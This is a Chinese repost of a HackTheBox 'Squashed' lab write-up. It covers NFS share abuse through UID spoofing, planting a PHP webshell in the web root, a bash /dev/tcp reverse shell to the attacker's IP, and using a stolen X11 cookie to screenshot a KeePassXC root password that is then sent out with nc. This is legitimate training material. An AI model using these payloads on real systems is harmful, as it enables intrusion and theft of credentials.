HTB: Squashed

admin 2023年3月12日20:30:46HTB: Squashed已关闭评论36 views字数 14223阅读47分24秒阅读模式

原文地址:https://0xdf.gitlab.io/2022/11/21/htb-squashed.html

HTB: Squashed

HTB: Squashed

在对NFS的介绍中,Squashed滥用了几个NFS共享。首先,我将获得对一个web目录的访问权,并在调整我的本地用户名以匹配系统所需的用户名后,上传一个webshell并获得执行。然后,我将从一个不同的NFS共享中获得一个X11magic cookie,并使用它来获得当前用户的桌面截图,在密码管理器中显示根密码。

| | |
| -- | -- |

侦察

nmap

nmap发现八个开放的TCP端口,SSH(22),HTTP(80),RPC(111),NFS(2049),以及四个支持RPC的高级端口:

```
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.191
Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-11 19:50 UTC
Nmap scan report for 10.10.11.191
Host is up (0.085s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
41527/tcp open unknown
43109/tcp open unknown
57809/tcp open unknown
58777/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 7.48 seconds
oxdf@hacky$ nmap -p 22,80,111,2049,41527,43109,57809,58777 -sCV 10.10.11.191
Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-11 19:51 UTC
Nmap scan report for 10.10.11.191
Host is up (0.085s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 38017/udp mountd
| 100005 1,2,3 38441/udp6 mountd
| 100005 1,2,3 39221/tcp6 mountd
| 100005 1,2,3 57809/tcp mountd
| 100021 1,3,4 34926/udp nlockmgr
| 100021 1,3,4 35429/tcp6 nlockmgr
| 100021 1,3,4 41527/tcp nlockmgr
| 100021 1,3,4 50850/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|
100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
41527/tcp open nlockmgr 1-4 (RPC #100021)
43109/tcp open mountd 1-3 (RPC #100005)
57809/tcp open mountd 1-3 (RPC #100005)
58777/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.60 seconds
```

根据OpenSSH和Apache的版本,该主机可能正在运行Ubuntu focal 20.04。

Website - TCP 80

网站

该网站是一家家具公司的网站:

HTB: Squashed

页面上没有太有趣的东西。所有的链接都不指向任何地方。

技术栈(Tech Stack)

补充知识:tech stack是technology stack的缩写。这是用于构建和运行单个应用程序或网站的所有技术服务的列表。

页面以 / and as /index.html的形式加载,这表明这是一个静态站点。

响应头也没有提供太多其他信息::

HTTP/1.1 200 OK
Date: Fri, 11 Nov 2022 19:53:02 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 11 Nov 2022 19:50:01 GMT
ETag: "7f14-5ed3732081048-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 32532
Connection: close
Content-Type: text/html

它是Ubuntu上的Apache,但没有显示太多其他内容。

目录暴力破解

我将对该站点运行feroxbuster(我不寻找扩展名,因为页面是.html,这些扩展名可能没有用,但我可以稍后再讨论):

```
oxdf@hacky$ feroxbuster -u http://10.10.11.191


|
_ |
|
) |) | / ` / \ _/ | | \ |
| | | \ | \ | _, __/ / \ | |/ |___
by Ben "epi" Risher ver: 2.7.1

Target Url http://10.10.11.191
Threads 50
Wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Status Codes [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
Timeout (secs) 7
User-Agent feroxbuster/2.7.1
HTTP methods [GET]
Recursion Depth 4

Press [ENTER] to use the Scan Management Menu

301 GET 9l 28w 313c http://10.10.11.191/images => http://10.10.11.191/images/
200 GET 580l 1870w 32532c http://10.10.11.191/
301 GET 9l 28w 310c http://10.10.11.191/css => http://10.10.11.191/css/
301 GET 9l 28w 309c http://10.10.11.191/js => http://10.10.11.191/js/
403 GET 9l 28w 277c http://10.10.11.191/server-status
[####################] - 57s 150000/150000 0s found:5 errors:2

[####################] - 56s 30000/30000 533/s http://10.10.11.191
[####################] - 0s 30000/30000 0/s http://10.10.11.191/images => Directory listing (add -e to scan)
[####################] - 56s 30000/30000 530/s http://10.10.11.191/
[####################] - 0s 30000/30000 0/s http://10.10.11.191/css => Directory listing (add -e to scan)
[####################] - 0s 30000/30000 0/s http://10.10.11.191/js => Directory listing (add -e to scan)
```

这里没有什么有趣的东西。

NFS - TCP 2049

共享(Shares)

showmount将列出哪些NFS共享是可用的:

oxdf@hacky$ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *

它看起来既像ross用户的主目录,也像web根目录。

/home/ross

我将使用mount来挂载/home/ross的共享:

oxdf@hacky$ sudo mount -t nfs 10.10.11.191:/home/ross /mnt

这里的内容非常少:

oxdf@hacky$ find /mnt -ls
30718 4 drwxr-xr-x 14 1001 1001 4096 Nov 11 19:45 /mnt
39115 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Music
39116 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Pictures
30203 4 -rw------- 1 1001 1001 2475 Oct 31 10:13 /mnt/.xsession-errors.old
39023 4 drwx------ 11 1001 1001 4096 Oct 21 14:57 /mnt/.cache
find: ‘/mnt/.cache’: Permission denied
39113 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Public
39114 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Documents
39343 4 -rw-rw-r-- 1 1001 1001 1365 Oct 19 12:57 /mnt/Documents/Passwords.kdbx
39080 4 drwx------ 12 1001 1001 4096 Oct 21 14:57 /mnt/.config
find: ‘/mnt/.config’: Permission denied
39101 4 drwx------ 3 1001 1001 4096 Oct 21 14:57 /mnt/.local
find: ‘/mnt/.local’: Permission denied
39128 0 lrwxrwxrwx 1 root root 9 Oct 21 13:07 /mnt/.viminfo -> /dev/null
5607 4 -rw------- 1 1001 1001 2475 Nov 11 19:45 /mnt/.xsession-errors
39117 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Videos
39012 0 lrwxrwxrwx 1 root root 9 Oct 20 13:24 /mnt/.bash_history -> /dev/null
39105 4 drwx------ 3 1001 1001 4096 Oct 21 14:57 /mnt/.gnupg
find: ‘/mnt/.gnupg’: Permission denied
39207 4 -rw------- 1 1001 1001 57 Nov 11 19:45 /mnt/.Xauthority
39110 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Desktop
39111 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Downloads
39112 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 /mnt/Templates

我将注意到,这个目录中所有的用户和组的ID都是1001。它没有显示用户或组的名字,因为在我的虚拟机上,没有具有这个ID的用户。

NFS并不跟踪不同机器的用户/组。它只是知道ID,并使用本地系统来实现。例如,如果我把irc的用户改为userid 1001,irc的组改为groupid 1001,那么看起来这些文件是由irc拥有的:

oxdf@hacky$ find /mnt -ls
30718 4 drwxr-xr-x 14 irc irc 4096 Nov 11 19:45 /mnt
39115 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Music
39116 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Pictures
30203 4 -rw------- 1 irc irc 2475 Oct 31 10:13 /mnt/.xsession-errors.old
39023 4 drwx------ 11 irc irc 4096 Oct 21 14:57 /mnt/.cache
find: ‘/mnt/.cache’: Permission denied
39113 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Public
39114 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Documents
39343 4 -rw-rw-r-- 1 irc irc 1365 Oct 19 12:57 /mnt/Documents/Passwords.kdbx
39080 4 drwx------ 12 irc irc 4096 Oct 21 14:57 /mnt/.config
find: ‘/mnt/.config’: Permission denied
39101 4 drwx------ 3 irc irc 4096 Oct 21 14:57 /mnt/.local
find: ‘/mnt/.local’: Permission denied
39128 0 lrwxrwxrwx 1 root root 9 Oct 21 13:07 /mnt/.viminfo -> /dev/null
5607 4 -rw------- 1 irc irc 2475 Nov 11 19:45 /mnt/.xsession-errors
39117 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Videos
39012 0 lrwxrwxrwx 1 root root 9 Oct 20 13:24 /mnt/.bash_history -> /dev/null
39105 4 drwx------ 3 irc irc 4096 Oct 21 14:57 /mnt/.gnupg
find: ‘/mnt/.gnupg’: Permission denied
39207 4 -rw------- 1 irc irc 57 Nov 11 19:45 /mnt/.Xauthority
39110 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Desktop
39111 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Downloads
39112 4 drwxr-xr-x 2 irc irc 4096 Oct 21 14:57 /mnt/Templates

我将在我的机器上创建一个假用户:

oxdf@hacky$ sudo useradd dummy

这个用户在我的机器上已经是userid 1001,但如果不是,我可以像上面一样为irc更改它。

我以这个假的身份得到一个shell,并尝试写入ross的主目录,但失败了:

oxdf@hacky$ sudo su dummy
$ id
uid=1001(dummy) gid=1001(dummy) groups=1001(dummy)
$ bash
dummy@hacky:/home/oxdf/hackthebox/squashed-10.10.11.191$ cd /mnt
dummy@hacky:/mnt$ cd .ssh
bash: cd: .ssh: No such file or directory
dummy@hacky:/mnt$ mkdir .ssh
mkdir: cannot create directory ‘.ssh’: Read-only file system

在home目录中,有一个.Xauthority文件。这是一个二进制文件,但我可以用xxd来查看它的十六进制:

dummy@hacky:/mnt$ xxd .Xauthority
00000000: 0100 000c 7371 7561 7368 6564 2e68 7462 ....squashed.htb
00000010: 0001 3000 124d 4954 2d4d 4147 4943 2d43 ..0..MIT-MAGIC-C
00000020: 4f4f 4b49 452d 3100 10f9 b01f 9b13 d3f7 OOKIE-1.........
00000030: 4f29 2801 ff73 88ea bf O)(..s...

我以后会用这个来获得root

/var/www/html

我将卸载主目录并挂载网络根目录:

oxdf@hacky$sudo umount /mnt
oxdf@hacky$sudo mount -t nfs 10.10.11.191:/var/www/html /mnt

我无法访问任何内容:

oxdf@hacky$ find /mnt -ls
133456 4 drwxr-xr-- 5 2017 www-data 4096 Nov 11 20:35 /mnt
find: ‘/mnt/.htaccess’: Permission denied
find: ‘/mnt/index.html’: Permission denied
find: ‘/mnt/images’: Permission denied
find: ‘/mnt/css’: Permission denied
find: ‘/mnt/js’: Permission denied
oxdf@hacky$ ls -l /mnt
ls: cannot access '/mnt/index.html': Permission denied
ls: cannot access '/mnt/images': Permission denied
ls: cannot access '/mnt/css': Permission denied
ls: cannot access '/mnt/js': Permission denied
total 0
?????????? ? ? ? ? ? css
?????????? ? ? ? ? ? images
?????????? ? ? ? ? ? index.html
?????????? ? ? ? ? ? js

查看目录本身,它似乎属于我系统上的用户id 2017和www-data的groupid,即33:

oxdf@hacky$ ls -ld /mnt
drwxr-xr-- 5 2017 www-data 4096 Nov 11 20:35 /mnt
oxdf@hacky$ cat /etc/group | grep www-data
www-data:x:33:

alex的shell

获取对Web根目录的访问权限

网络根目录是由用户ID 2017和组ID 33所拥有的。我将设置我的假用户名为2017,并以此身份进入一个shell中:

oxdf@hacky$ sudo usermod -u 2017 dummy
oxdf@hacky$ sudo su dummy -c bash
bash: cannot set terminal process group (168647): Inappropriate ioctl for device
bash: no job control in this shell
dummy@hacky:/media/sf_CTFs/hackthebox/squashed-10.10.11.191$

现在我可以很好地阅读共享:

dummy@hacky:/$ ls -l /mnt
total 44
drwxr-xr-x 2 dummy www-data 4096 Nov 11 20:40 css
drwxr-xr-x 2 dummy www-data 4096 Nov 11 20:40 images
-rw-r----- 1 dummy www-data 32532 Nov 11 20:40 index.html
drwxr-xr-x 2 dummy www-data 4096 Nov 11 20:40 js

文件写入测试

现在我可以访问web根目录了,我可以向它写入文件吗?看起来我可以:

dummy@hacky:/$ echo "Test?" > /mnt/0xdf.html

在Firefox中加载http://10.10.11.191/0xdf.html,它返回消息:

HTB: Squashed

PHP WebShell

POC

尽管该网站没有运行任何明显的 PHP,但还是值得一试,看看 webserver 是否会执行 PHP。我将写一个小的PHP文件,只是回传一个信息:

dummy@hacky:/$ echo -e '<?php\n echo "0xdf was here!";\n?>'
<?php
echo "0xdf was here!";
?>
dummy@hacky:/$ echo -e '<?php\n echo "0xdf was here!";\n?>' > /mnt/0xdf.php

如果我在Firefox中查看,看到的是整个文件,这意味着服务器只是返回静态文件。另一方面,如果只显示 "0xdf was here!",那么服务器一定是以PHP的方式执行了这个文件,并且只返回了其中的输出,表明它正在运行PHP。

它正在运行PHP:

HTB: Squashed

WebShell

我将用一个适当的简单的PHP webshell覆盖0xdf.php:

dummy@hacky:/$ echo -e '<?php\n system($_REQUEST['cmd']);\n?>'
<?php
system($_REQUEST[cmd]);
?>
dummy@hacky:/$ echo -e '<?php\n system($_REQUEST['cmd']);\n?>' > /mnt/0xdf.php

这将接受一个名为cmd的参数(GET或POST)并将其传递到系统中,结果将被返回。

现在,如果我只是加载这个页面,那里什么都没有。但如果我在结尾处加上?cmd=id:

HTB: Squashed

Shell

为了从这个webshell到一个完整的反向shell,我只需将 bash reverse shell 作为cmd传入:

bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'

关于这个外壳如何工作的细节,请看这个视频

在粘贴之前,我将确保我的tun0 ip与命令中的内容一致,并且我需要将&字符的URL编码为%26,否则它们将被视为cmd参数的结尾,后面还有一个新参数。

我将启动nc监听443(以匹配上面给出的端口),然后加载页面:

HTB: Squashed

网页只是逗留,但在监听的nc处有一个作为alex的shell!

我将使用脚本/stty shell升级技巧(细节在这里):

alex@squashed:/var/www/html$ script /dev/null -c bash
Script started, file is /dev/null
alex@squashed:/var/www/html$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
alex@squashed:/var/www/html$

在/home/alex中也有一个用户标志:

alex@:/home/alex$cat user.txt
a699decf************************

root的shell

查看alex的GUI会话

HackTricks关于 pentesting X11 的页面在这里有大量的好信息,其中大部分我将在以下步骤中使用。

Magic cookie

我在上面指出,在alex的主目录中有一个.Xauthority文件。这是一个由X11使用的用于授权的cookie文件。 StackOverflow 的这个帖子/回复有很多关于如何使用这些cookies的好信息。有五种类型的cookies,包括:

  1. MIT-magic-cookie-1:生成128位的密钥("cookie"),将其存储在~/.Xauthority(或XAUTHORITY envvar指向的地方)。客户端将其发送给服务器,服务器会检查它是否有这个 "cookie "的副本,如果有,则允许连接。

这与我从NFS的cookie中观察到的hex dump相吻合:

dummy@hacky:/mnt$xxd .Xauthority
00000000: 0100 000c 7371 7561 7368 6564 2e68 7462 .....htb
00000010: 0001 3000 124d 4954 2d4d 4147 4943 2d43 ..0..MIT-MAGIC-C
00000020: 4f4f 4b49 452d 3100 10f9 b01f 9b13 d3f7 OOKIE-1.........
00000030: 4f29 2801 ff73 88ea bf O)(..s...

那篇文章还说:

注意:第二、第三和第四种机制将密钥存储在~/.Xauthority中,因此任何能够访问该文件的人都可以假装是 "你 "连接到服务器。

枚举显示

我想知道当前连接的显示器是什么。这可以通过我的shell中的w命令(alex)找到。

alex@squashed:/home/alex$ w
21:24:58 up 1:39, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 19:45 1:39m 9.01s 0.04s /usr/libexec/gn

ross已登录并使用显示 :0.

验证Cookie

为了看看cookie是否有效,我尝试运行一些枚举命令,如xdpyinfo和xwininfo。如果我试图在没有任何授权的情况下从我的shell中运行这些命令,它们都会失败:

```
alex@squashed:/home/alex$ xdpyinfo -display :0

No protocol specified
xdpyinfo: unable to open display ":0".

alex@squashed:/home/alex$ xwininfo -root -tree -display :0

No protocol specified
xwininfo: error: unable to open display ":0"
```

我将从NFS挂载中获取cookie的副本,并将其保存在Squashed上,这样它就可以作为alex从会话中使用。从我的主机上的NFS挂载,我将运行python3 -m http.server 80(如果需要的话,用sudo),在我的主机上的那个目录中启动一个Python webserver。

从alex的shell中,我将用curl获取这个文件,并把它写到/tmp:

alex@:/home/alex$curl http://10.10.14.6/.Xauthority -o /tmp/.Xauthority
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 57 100 57 0 0 111 0 --:--:-- --:--:-- --:--:-- 111

有两种方法可以让这些工具使用这个文件进行认证。我可以把它放在当前用户的\$HOME/.Xauthority中。这很有效,但有一个诀窍是\$HOME没有被设置:

alex@squashed:/home/alex$ echo $HOME

但如果我导出HOME=/home/alex,然后cp /tmp/.Xauthority /home/alex/,它就会工作。

另外,我可以直接使用XAUTHORITY环境变量来设置文件的位置。我可以导出它(在这种情况下,它在该会话的其余部分都是这样的),或者像这样把它添加到每个命令的前面:

alex@squashed:/home/alex$ XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0
name of display: :0
version number: 11.0
vendor string: The X.Org Foundation
vendor release number: 12013000
X.Org version: 1.20.13
maximum request size: 16777212 bytes
motion buffer size: 256
bitmap unit, bit order, padding: 32, LSBFirst, 32
image byte order: LSBFirst
number of supported pixmap formats: 7
supported pixmap formats:
depth 1, bits_per_pixel 1, scanline_pad 32
depth 4, bits_per_pixel 8, scanline_pad 32
...[snip]...

有大量的数据,其中没有多少是有用的,但它表明身份验证是有效的。xwininfo也一样:

```
alex@squashed:/home/alex$ XAUTHORITY=/tmp/.Xauthority xwininfo -root -tree -display :0

xwininfo: Window id: 0x533 (the root window) (has no name)

Root window id: 0x533 (the root window) (has no name)
Parent window id: 0x0 (none)
26 children:
0x80000b "gnome-shell": ("gnome-shell" "Gnome-shell") 1x1+-200+-200 +-200+-200
1 child:
0x80000c (has no name): () 1x1+-1+-1 +-201+-201
0x800023 (has no name): () 802x575+-1+26 +-1+26
1 child:
0x1800006 "Passwords - KeePassXC": ("keepassxc" "keepassxc") 800x536+1+38 +0+64
1 child:
0x18000fe "Qt NET_WM User Time Window": () 1x1+-1+-1 +-1+63
0x1800008 "Qt Client Leader Window": () 1x1+0+0 +0+0
...[snip]...
```

这一个确实显示了一个名为“Passwords - KeePassXC”,的窗口,这绝对是有趣的。

截图

我可以用xwd对该桌面进行截图:

alex@squashed:/home/alex$ XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/0xdf.xwd

完整的语法来自 HackTricks 页面,但选项是:

  • -root - 选择主root窗口,不要求我用鼠标选择一个子窗口(这在远程shell中是不可能的)。
  • -screen - 确保GetImage请求被发送到root窗口
  • -silent - 沉默那些典型的、伴随着屏幕截图而来的铃声
  • display :0 - 指定要连接的窗口

生成的文件是X Window Dump映像数据:

alex@squashed:/home/alex$ file /tmp/0xdf.xwd
/tmp/0xdf.xwd: XWD X Window Dump image data, "xwdump", 800x600x24

获取Root密码

Exfil Screenshot

我将启动nc在我的虚拟机上监听9009端口,用nc -lnvp 9009 > screenshot.wxd的命令把输出传到screenshot.wxd。然后在Squashed上,我将cat文件并将其输送到连接到该端口的nc中:

alex@squashed:/home/alex$ cat /tmp/0xdf.xwd | nc 10.10.14.6 9009 ^C

它只是逗留,所以几秒钟后我就按Ctrl-c把它关掉。在我的系统中,现在有一个文件:

oxdf@hacky$ nc -lnvp 9009 > screenshot.xwd
Listening on 0.0.0.0 9009
Connection received on 10.10.11.191 36294
oxdf@hacky$ file screenshot.xwd
screenshot.xwd: XWD X Window Dump image data, "xwdump", 800x600x24

检查两个文件的哈希值以确保它们是相同的,这总是一个好主意:

alex@squashed:/home/alex$ md5sum /tmp/0xdf.xwd
839e737b096f08832fcfb60d12d2697a /tmp/0xdf.xwd
oxdf@hacky$ md5sum screenshot.xwd
839e737b096f08832fcfb60d12d2697a screenshot.xwd

转换

为了将其转换为我可以轻松打开的文件格式,我将使用 ImageMagick 的转换工具(用sudo apt install imagemagick安装)。在这种情况下,由于它只是一个格式转换,我只需给它输入和输出,它就会根据扩展名来计算出格式:

oxdf@hacky$convert screenshot.xwd screenshot.png
oxdf@hacky$file screenshot.png
screenshot.png: PNG image data, 800 x 600, 8-bit/color RGB, non-interlaced

它打开后,全屏显示KeePassXC窗口,root的密码可见:

HTB: Squashed

su

使用root(超级用户)的密码,我可以运行su以root身份获得一个shell:

alex@:/home/alex$su -
Password:
root@:~#

并阅读root.txt:

root@squashed:~# cat root.txt
5681c25c************************

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:30:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB: Squashedhttps://cn-sec.com/archives/1599502.html